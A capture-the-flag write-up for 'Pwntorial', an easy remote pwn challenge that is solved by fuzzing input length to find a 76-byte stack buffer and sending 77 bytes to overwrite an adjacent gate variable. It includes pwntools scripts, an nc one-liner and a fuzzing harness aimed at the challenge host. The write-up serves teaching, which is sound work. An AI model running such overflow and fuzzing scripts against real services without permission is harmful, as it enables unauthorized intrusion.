← Back to Writeups
CUSTOMEasyPwn

Pwntorial

XESXOR9/10/20263 min read
#pwn#custom#easy#adjacent_stack_variable_overwr#black_box_overflow#length_fuzzing

Pwntorial

Platform: CUSTOM | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: adjacent_stack_variable_overwrite, black_box_overflow, length_fuzzing

Summary

Walkthrough of the CUSTOM Pwn Pwntorial. Task: remote-only pwn with no binary/source; a fixed-size stack buffer sits next to a zero-initialized 'gate' variable guarding the flag. Solution: black-box length fuzzing found the buffer is 76 byte

Description

"I've gotten complaints that BroncoCTF has no PWN. But, I think the more important issue is that our students don't know HOW to PWN! Behold: the PWNTORIAL. This'll solve all your pwn knowledge holes! Google Docs: The Pwntorial ...yeah it's just an AI Slop Google Doc but surely that's enough to educate college students nowadays, right?"

Remote service: nc 0.cloud.chals.io 19476 (also referenced as snicat broncoctf-pwntorial.chals.io).

English summary: A remote-only "tutorial" pwn challenge. No binary and no source were provided, and the linked Google Doc is flavor text. The service reads input into a fixed-size stack buffer that is immediately followed by a zero-initialized "gate" variable guarding the flag. The goal is to overflow the buffer just enough to make the gate variable nonzero.

Analysis

Recon was entirely black-box:

  1. Plain nc connects but prints no banner and waits for input.

  2. Sending arbitrary data (e.g. hello\n) returns:

    [-] Try again. The gate is still closed.
    

    The word "gate" plus the closed/open framing strongly implies a classic adjacent stack-variable overwrite: a fixed buffer followed by a gate (a.k.a. flag guard) variable initialized to zero. An if (gate) check prints the flag once the variable becomes nonzero.

  3. Fuzzing input length with b'A'*n + b'\n' and checking for the success string revealed a clean threshold:

    Input length (n)Response
    73–76[-] Try again. The gate is still closed.
    77–~256[+] SUCCESS! Welcome inside, aspiring pwner! + flag
    512 / 1024still SUCCESS, but flag sometimes missed in the same read due to timing
  4. Conclusion: the buffer is 76 bytes. The 77th byte spills into the adjacent gate variable, making its first byte nonzero and passing the if (gate) check.

This is the most basic stack buffer overflow — overwriting an adjacent stack variable, not a return address. No canary/PIE/leak/ROP is needed, which fits the "tutorial / first of many PWNs" theme. The exact buffer size (76) was recovered purely by black-box length fuzzing since no binary was available for checksec or disassembly.

Solution

Send exactly 77 bytes to overflow the 76-byte buffer by one byte into the gate variable.

pwntools:

python
#!/usr/bin/env python3
from pwn import *

io = remote('0.cloud.chals.io', 19476)
io.sendline(b'A' * 77)              # 76-byte buffer + 1 byte overflow into the gate var
print(io.recvall(timeout=3).decode())
# -> [+] SUCCESS! Welcome inside, aspiring pwner!
#    bronco{REDACTED}

One-liner:

bash
python3 -c "import sys; sys.stdout.buffer.write(b'A'*77+b'\n')" | nc 0.cloud.chals.io 19476

Optional length-fuzzing harness used to recover the buffer size:

python
#!/usr/bin/env python3
from pwn import *

for n in range(70, 90):
    io = remote('0.cloud.chals.io', 19476)
    io.sendline(b'A' * n)
    resp = io.recvall(timeout=2)
    io.close()
    status = 'SUCCESS' if b'SUCCESS' in resp else 'closed'
    log.info(f'n={n:3d} -> {status}')
    # threshold: n<=76 closed, n>=77 SUCCESS  =>  buffer = 76 bytes

Key Takeaways / Lessons

  • Mastering adjacent_stack_variable_overwrite, black_box_overflow, length_fuzzing was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-07-11 • CUSTOM • Pwntorial • Difficulty: Easy